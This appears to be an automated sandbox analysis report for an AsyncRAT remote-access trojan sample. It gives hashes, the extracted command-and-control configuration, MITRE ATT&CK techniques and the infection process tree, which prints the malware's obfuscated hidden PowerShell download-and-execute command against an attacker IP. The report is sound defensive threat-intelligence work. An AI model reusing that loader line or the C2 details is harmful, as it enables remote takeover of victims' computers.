asyncrat | 6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19

Analysis

max time kernel
95s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28/01/2025, 12:24

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General

Target

6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19.vbs
Size

6KB
MD5

f7f8fe92731aff901ca5f2383ac1a13d
SHA1

961e1819e8c63e8fcfd9100e985ff30d7e112e9d
SHA256

6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19
SHA512

2b1baca6c86fde32dcb81b60f717b3567160ca9417119b66ff7904e0f49cb60ca16c5820f550ee7e3f07440e41b40cd8adbcf65d5ba71e6249079129ed60225f
SSDEEP

96:egvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvt:xLPjGZOmyX1

Score

10^/10

asyncrat 00000001 discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

00000001

81.10.39.58:7077

Mutex

AsyncMutex_alosh

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	2232	powershell.exe
26	2232	powershell.exe
28	2232	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1380	powershell.exe
2232	powershell.exe
5068	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	api.ipify.org
26	api.ipify.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5068 set thread context of 1264	5068	powershell.exe	95
PID 1380 set thread context of 3152	1380	powershell.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2232	powershell.exe
2232	powershell.exe
5068	powershell.exe
5068	powershell.exe
1264	aspnet_compiler.exe
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeIncreaseQuotaPrivilege	2232	powershell.exe
Token: SeSecurityPrivilege	2232	powershell.exe
Token: SeTakeOwnershipPrivilege	2232	powershell.exe
Token: SeLoadDriverPrivilege	2232	powershell.exe
Token: SeSystemProfilePrivilege	2232	powershell.exe
Token: SeSystemtimePrivilege	2232	powershell.exe
Token: SeProfSingleProcessPrivilege	2232	powershell.exe
Token: SeIncBasePriorityPrivilege	2232	powershell.exe
Token: SeCreatePagefilePrivilege	2232	powershell.exe
Token: SeBackupPrivilege	2232	powershell.exe
Token: SeRestorePrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeSystemEnvironmentPrivilege	2232	powershell.exe
Token: SeRemoteShutdownPrivilege	2232	powershell.exe
Token: SeUndockPrivilege	2232	powershell.exe
Token: SeManageVolumePrivilege	2232	powershell.exe
Token: 33	2232	powershell.exe
Token: 34	2232	powershell.exe
Token: 35	2232	powershell.exe
Token: 36	2232	powershell.exe
Token: SeIncreaseQuotaPrivilege	2232	powershell.exe
Token: SeSecurityPrivilege	2232	powershell.exe
Token: SeTakeOwnershipPrivilege	2232	powershell.exe
Token: SeLoadDriverPrivilege	2232	powershell.exe
Token: SeSystemProfilePrivilege	2232	powershell.exe
Token: SeSystemtimePrivilege	2232	powershell.exe
Token: SeProfSingleProcessPrivilege	2232	powershell.exe
Token: SeIncBasePriorityPrivilege	2232	powershell.exe
Token: SeCreatePagefilePrivilege	2232	powershell.exe
Token: SeBackupPrivilege	2232	powershell.exe
Token: SeRestorePrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeSystemEnvironmentPrivilege	2232	powershell.exe
Token: SeRemoteShutdownPrivilege	2232	powershell.exe
Token: SeUndockPrivilege	2232	powershell.exe
Token: SeManageVolumePrivilege	2232	powershell.exe
Token: 33	2232	powershell.exe
Token: 34	2232	powershell.exe
Token: 35	2232	powershell.exe
Token: 36	2232	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	1264	aspnet_compiler.exe
Token: SeDebugPrivilege	1380	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1264	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 3152 wrote to memory of 2232	3152	WScript.exe	82
PID 3152 wrote to memory of 2232	3152	WScript.exe	82
PID 3328 wrote to memory of 2304	3328	WScript.exe	89
PID 3328 wrote to memory of 2304	3328	WScript.exe	89
PID 2304 wrote to memory of 4356	2304	net.exe	91
PID 2304 wrote to memory of 4356	2304	net.exe	91
PID 3328 wrote to memory of 3100	3328	WScript.exe	92
PID 3328 wrote to memory of 3100	3328	WScript.exe	92
PID 3100 wrote to memory of 5068	3100	cmd.exe	94
PID 3100 wrote to memory of 5068	3100	cmd.exe	94
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 5068 wrote to memory of 1264	5068	powershell.exe	95
PID 1768 wrote to memory of 4556	1768	WScript.exe	102
PID 1768 wrote to memory of 4556	1768	WScript.exe	102
PID 4556 wrote to memory of 2736	4556	net.exe	104
PID 4556 wrote to memory of 2736	4556	net.exe	104
PID 1768 wrote to memory of 4564	1768	WScript.exe	105
PID 1768 wrote to memory of 4564	1768	WScript.exe	105
PID 4564 wrote to memory of 1380	4564	cmd.exe	107
PID 4564 wrote to memory of 1380	4564	cmd.exe	107
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108
PID 1380 wrote to memory of 3152	1380	powershell.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$UYLmDsQZIkAc='IeX(NeW-OBJeCT NeT.W';$znhPDUdSLEIZ='eBCLIeNT).DOWNLO';$CMJiImrPvzVh='repoooos(''http://81.10.39.58:8080/test//Update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($UYLmDsQZIkAc+$znhPDUdSLEIZ+$CMJiImrPvzVh);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2232

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\VGXvCOkpcl.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\VGXvCOkpcl.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\VGXvCOkpcl.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1264

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Music\VGXvCOkpcl.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Music\VGXvCOkpcl.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Music\VGXvCOkpcl.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7bec8bed8719d4f10a4ad5da735f76a5

SHA1
5063793785c97ca8c2cc1344c17380134817e6fc

SHA256
d526d49ae7a2d23890f3d1ff15bae25a609f6c19d2614a622565fb1469f8c736

SHA512
22ce11472231f11ea0d50a690ddce357bd1c6b7b894873c7c9c8966d15191653583acd9b45d78d47e56b5a444b3329c1eeb1fc1805efe12ada16b08324cd0b2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2g0ndvh1.kjw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Music\VGXvCOkpcl.bat

Filesize
2KB

MD5
df5c8a9e9da427a809f34b37163b95c0

SHA1
4ef52ed74237f288132d0d6152768b207339bd03

SHA256
6458089c6828bcd5c4b495e5c4d6d5952a4c2332abb0c2c4e8e5e8b6da3d68ca

SHA512
164d426c766b518b875f4ec9670c474bda391cc6c8f5f2233ff9e94decdcd30b6814e99c4e20cb93c937da1e234a50e135cdfa979b17689fcf77696124546938

Download Submit
C:\Users\Public\Music\VGXvCOkpcl.ps1

Filesize
453KB

MD5
0d309ee5d6488e2e7f77e970e7d6a191

SHA1
991462ffc727617a1aab438505429cadd25b66df

SHA256
85184d87854df5b1f6f6dd557591b6c3dce4b193000791315dba01938fb7c02c

SHA512
5a617ac01f001409e176a9b02b1247f0f7f4789841ff6e2abfe97355cc05ef74789f37213df9bffdf119290cdefb0aee19aa20a7bd16a996b73773ce925e88e4

Download Submit
C:\Users\Public\Music\VGXvCOkpcl.vbs

Filesize
4KB

MD5
ff4bcfc9b3d14734746b632c38bb5bcc

SHA1
0eee9c48feb48233dc0fa357db4df5be69d359bd

SHA256
39a3371f33785655de9fdde713c9c1763ff795f7b730c5996848965d02eaccb6

SHA512
9cfc9d0b8be7073f60795b89af28d45892cb5416f2c7353f182a6e73997cf661031b20321996cc691deae84bacdf3edaf3c051f4b7283f57de04d72cdfe3d321

Download Submit
memory/1264-44-0x0000000006650000-0x00000000066B6000-memory.dmp

Filesize
408KB

Download
memory/1264-38-0x0000000005DA0000-0x0000000006344000-memory.dmp

Filesize
5.6MB

Download
memory/1264-43-0x0000000006B90000-0x0000000006C2C000-memory.dmp

Filesize
624KB

Download
memory/1264-40-0x0000000005910000-0x000000000591A000-memory.dmp

Filesize
40KB

Download
memory/1264-32-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1264-39-0x0000000005990000-0x0000000005A22000-memory.dmp

Filesize
584KB

Download
memory/2232-35-0x00007FFEE9E93000-0x00007FFEE9E95000-memory.dmp

Filesize
8KB

Download
memory/2232-48-0x0000024B4FEB0000-0x0000024B503D8000-memory.dmp

Filesize
5.2MB

Download
memory/2232-36-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-18-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-52-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-12-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-0-0x00007FFEE9E93000-0x00007FFEE9E95000-memory.dmp

Filesize
8KB

Download
memory/2232-45-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-46-0x0000024B4F7B0000-0x0000024B4F972000-memory.dmp

Filesize
1.8MB

Download
memory/2232-47-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-37-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-11-0x00007FFEE9E90000-0x00007FFEEA951000-memory.dmp

Filesize
10.8MB

Download
memory/2232-1-0x0000024B4F0E0000-0x0000024B4F102000-memory.dmp

Filesize
136KB

Download
memory/5068-31-0x000001D4726D0000-0x000001D4726DC000-memory.dmp

Filesize
48KB

Download